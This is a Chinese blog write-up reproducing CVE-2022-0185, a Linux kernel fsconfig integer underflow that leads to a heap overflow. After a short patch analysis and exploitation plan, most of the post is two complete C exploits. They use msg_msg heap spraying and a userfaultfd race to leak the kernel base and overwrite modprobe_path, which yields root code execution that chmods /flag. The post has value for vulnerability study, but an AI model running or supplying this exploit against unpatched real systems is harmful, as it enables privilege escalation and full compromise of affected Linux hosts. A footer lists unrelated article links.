【CVE 复现】CVE-2022-0185 fsconfig之整数溢出

影响版本：Linux-v5.1~v5.16.2

测试版本：Linux-5.11.22，由于懒得搞环境，所以直接用的 bsauce 大佬提供的 测试环境

看看 patch：


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)param->key);}-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)return invalf(fc, "VFS: Legacy: Cumulative options too large");if (strchr(param->key, ',') ||(param->type == fs_value_is_string &&

这里 len/size 都是无符号数，所以当 2+size > PAGE_SIZE 时，则 PAGE_SIZE - 2 - size 是一个很大的数从而绕过检查，这里会导致堆溢出。

溢出 kmem_cache：kmalloc-4k

利用思路：

1）堆喷 msg_msg，触发第一次漏洞溢出修改 m_ts 从而泄漏内核基地址

2）堆喷 msg_msg，触发第二次漏洞溢出配合 userfaultfd修改 m_next 实现任意地址写 modprobe_path

注：bsauce 佬提供的测试环境内核版本为 v5.11.22，普通用户是无法直接使用 userfaultfd 的，我看 bsauce 佬直接写了个 fuse 驱动模块，然后利用的 fuse 去增大竞争窗口。但是这里为了方便，我直接在设置了普通用户可以使用 userfaultfd，这里只是为了简化利用。

echo 1 > /proc/sys/vm/unprivileged_userfaultfd

第一版垃圾 exp 如下：这里调整一下堆喷策略效果应该会好很多

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];int fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");size_t buf = modprobe_path - 8;char* x = &buf;char str[] = "/tmp/x";printf("hijack_idx ==> %d\n", hijack_idx);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);memset(copy_src, 0, sizeof(copy_src));strncpy(copy_src, str, strlen(str));strncpy(copy_src+8, str, strlen(str));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}size_t do_leak()
{char X_X = 1;int fs_fd;char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;if (!X_X) goto X_X_Label;for (int i = 0; i < SPARY_MSG_NUMS / 2; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);goto GO;X_X_Label:fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS*2; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);GO:kernel_offset = -1;size_t vim_mtype;for (int i = 0; i < SPARY_MSG_NUMS; i++){memset(buf, 0, sizeof(buf));if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8){for (int k = 0; k < 0x1000 / 8; k++){size_t addr = *(uint64_t*)(buf+0x1000+k*8);vim_mtype = ((struct msg_buf*)buf)->m_type;if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770){hexx("vim_mtype", vim_mtype);kernel_offset = addr - 0xffffffff81f36770;hexx("kernel_offset", kernel_offset);break;}}if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);//binary_dump("OOB READ DATA", buf, 0x2000);break;}}return kernel_offset;
}void hijack_modprobePath()
{char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS*2];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");fs_fds[i] = fsopen("ext4", 0);if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int j = 0; j < 273; j++){fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i*2+1;if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");//              if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
//              *(uint64_t*)(msg_buf->m_text+8) = i;
//              if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");}for (int i = 0; i < SPARY_MSG_NUMS; i++){msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);}char* uffd_buf;pthread_t thr[SPARY_MSG_NUMS];for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++){msg_buf = (struct msg_buf*)buf;msg_buf->m_type = 1;if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");uffd_buf = NULL;uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);msg_buf = (struct msg_buf*)(uffd_buf+0x30);if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");msg_buf->m_type = 1;if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");munmap(uffd_buf, 0x2000);}}int main(int argc, char** argv, char** envp)
{bind_core(0);pid_t pid;int pipe_fd[2];pipe(pipe_fd);pid = fork();if (!pid){unshare(CLONE_NEWNS|CLONE_NEWUSER);size_t kernel_offset;kernel_offset = do_leak();if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");modprobe_path = 0xffffffff8346c160 + kernel_offset;hexx("modprobe_path", modprobe_path);hijack_modprobePath();write(pipe_fd[1], "X", 1);exit(0);} else if (pid < 0) {err_exit("FAILED to fork a new process");} else {char buf[1];read(pipe_fd[0], buf, 1);get_flag();}return 0;
}

效果如下：这里堆喷策略比较垃圾，成功率极低，后面再改改吧。

=========================================================================

修改了下堆喷策略，成功率提高了不少，虽然还不是很理想，比如受到 userfaultfd，modprobe_path可写的限制。这个好像可以直接套 pipe 构造页级UAF，后面再看看。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif#define SPARY_MSG_NUMS 8
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS*2];int fsopen(const char* fs_name, unsigned int flags)
{return syscall(__NR_fsopen, fs_name, flags);
}int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");size_t buf = modprobe_path - 8;char* x = &buf;char str[] = "/tmp/x";for (int i = 0; i < SPARY_MSG_NUMS*2; i++){fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", x, 0);}memset(copy_src, 0, sizeof(copy_src));strncpy(copy_src, str, strlen(str));strncpy(copy_src+8, str, strlen(str));uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}size_t do_leak()
{int fs_fd;char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS*2];size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;for (int i = 0; i < 20; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < SPARY_MSG_NUMS; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fs_fd = fsopen("ext4", 0);if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int i = 0; i < 273; i++){fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);for (int i = 0; i < 10; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = SPARY_MSG_NUMS; i < SPARY_MSG_NUMS*2; i++){if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");*(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}for (int i = 0; i < 30; i++){if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");}fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);kernel_offset = -1;size_t vim_mtype;for (int i = 0; i < SPARY_MSG_NUMS*2; i++){memset(buf, 0, sizeof(buf));if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8){for (int k = 0; k < 0x1000 / 8; k++){size_t addr = *(uint64_t*)(buf+0x1000+k*8);vim_mtype = ((struct msg_buf*)buf)->m_type;if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770){hexx("vim_mtype", vim_mtype);kernel_offset = addr - 0xffffffff81f36770;hexx("kernel_offset", kernel_offset);break;}}//binary_dump("OOB READ DATA", buf, 0x2000);break;}}return kernel_offset;
}void hijack_modprobePath()
{puts("==> hijack modprobe_path <==");char buf[0x2000];char msg_buffer[0x2000];int msg_qid[SPARY_MSG_NUMS];int qid;size_t kernel_offset;struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;memset(msg_buffer, 0, sizeof(msg_buffer));msg_buf->m_type = 1;for (int i = 0; i < SPARY_MSG_NUMS; i++){fs_fds[i*2] = fsopen("ext4", 0);if (fs_fds[i*2] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int j = 0; j < 273; j++){fsconfig(fs_fds[i*2], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}//      if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");//      if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");if (i == SPARY_MSG_NUMS / 2){if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");}fs_fds[i*2+1] = fsopen("ext4", 0);if (fs_fds[i*2+1] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);for (int j = 0; j < 273; j++){fsconfig(fs_fds[i*2+1], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);}}//      for (int i = 0; i < SPARY_MSG_NUMS; i++)
//      {
//              if (msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
//                      err_exit("FAILED to msgrcv msg");
//      }if (msgrcv(qid, buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)err_exit("FAILED to msgrcv msg");pthread_t thr;char* uffd_buf;msg_buf = (struct msg_buf*)msg_buffer;msg_buf->m_type = 1;
//      for (int i = 0; i < SPARY_MSG_NUMS / 3; i++)
//      {
//              if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
//
//      }uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf <= 0) err_exit("FAILED to mmap for uffd_buf");register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);msg_buf = (struct msg_buf*)(uffd_buf+0x30);msg_buf->m_type = 1;if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}int main(int argc, char** argv, char** envp)
{bind_core(0);pid_t pid;int pipe_fd[2];pipe(pipe_fd);pid = fork();if (!pid){unshare(CLONE_NEWNS|CLONE_NEWUSER);size_t kernel_offset;kernel_offset = do_leak();if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");modprobe_path = 0xffffffff8346c160 + kernel_offset;hexx("modprobe_path", modprobe_path);hijack_modprobePath();write(pipe_fd[1], "X", 1);puts("[+] CHILED END");exit(0);} else if (pid < 0) {err_exit("FAILED to fork a new process");} else {char buf[1];read(pipe_fd[0], buf, 1);get_flag();puts("[+] PARENT NED");}puts("[+] OVER");return 0;
}

总结：

自己的堆喷技巧不行，堆喷的效果非常差，非常不稳定，哎，还是多看看别人的 exp 好好学习吧

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/258840.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

打造专属小程序，乔拓云模板平台助力商家抢占先机

打造专属小程序，乔拓云模板平台助力商家抢占先机

打造专属小程序&#xff0c;乔拓云模板平台助力商家抢占先机&#xff01;该平台涵盖全行业小程序模板&#xff0c;一键复制即可上线。 想要快速创建高效实用的小程序&#xff0c;乔拓云小程序模板开发平台为您提供了解决方案&#xff01;我们为您提供一系列精心设计的小程序模板…
阅读更多...
零基础如何入门HarmonyOS开发？

零基础如何入门HarmonyOS开发？

HarmonyOS鸿蒙应用开发是当前非常热门的一个领域&#xff0c;许多人都想入门学习这个技术。但是&#xff0c;对于零基础的人来说&#xff0c;如何入门确实是一个问题。下面&#xff0c;我将从以下几个方面来介绍如何零基础入门HarmonyOS鸿蒙应用开发学习。 一、了解HarmonyOS鸿…
阅读更多...
【ArcGIS Pro微课1000例】0053：基于SQL Server创建与启用地理数据库

【ArcGIS Pro微课1000例】0053：基于SQL Server创建与启用地理数据库

之前的文章有讲述基于SQL Server创建企业级地理数据库，本文讲述在SQL Server中创建常规的关心数据库，然后在ArcGIS Pro中将其启用，转换为企业级地理数据库。 1. 在SQL Server中创建数据库** 打开SQL Server 2019，连接到数据库服务器。 展开数据库连接，在数据库上右键→新…
阅读更多...
Windows 上安装nvm node版本管理工具 windows安装nvm 管理工具

Windows 上安装nvm node版本管理工具 windows安装nvm 管理工具

Windows 上安装nvm node版本管理工具 windows安装nvm 管理工具 1、nvm2、安装2.1、下载 NVM 安装程序进行安装2.2、打开nvm的安装路径&#xff0c;运行终端测试是否安装成功2.3、配置环境变量&#xff0c;让nvm能在电脑全局使用2.3.1、nvm配置淘宝镜像2.3.2、nvm环境变量设置 1…
阅读更多...
LeetCode124.二叉树中最大路径和

LeetCode124.二叉树中最大路径和

第一次只花了20分钟左右就完全靠自己把一道hard题做出来了。我这个方法还是非常简单非常容易理解的&#xff0c;虽然时间复杂度达到了O(n2)。以下是我的代码&#xff1a; class Solution {int max;public int maxPathSum(TreeNode root) {max Integer.MIN_VALUE;return dfs2(…
阅读更多...
Bash脚本调用百度翻译API进行中文到英文的翻译

Bash脚本调用百度翻译API进行中文到英文的翻译

写一个bash脚本调用百度翻译API进行中文到英文的翻译&#xff0c;首先需要进行相关的申请。看百度给出的文档链接: 百度翻译API文档 需要先注册一个百度账号&#xff0c;然后申请APPID。脚本中会用到appid和key这两个值。按照文档给出的提示可以获得。如下是脚本&#xff1a; #…
阅读更多...
人工智能原理复习--搜索策略（一）

人工智能原理复习--搜索策略（一）

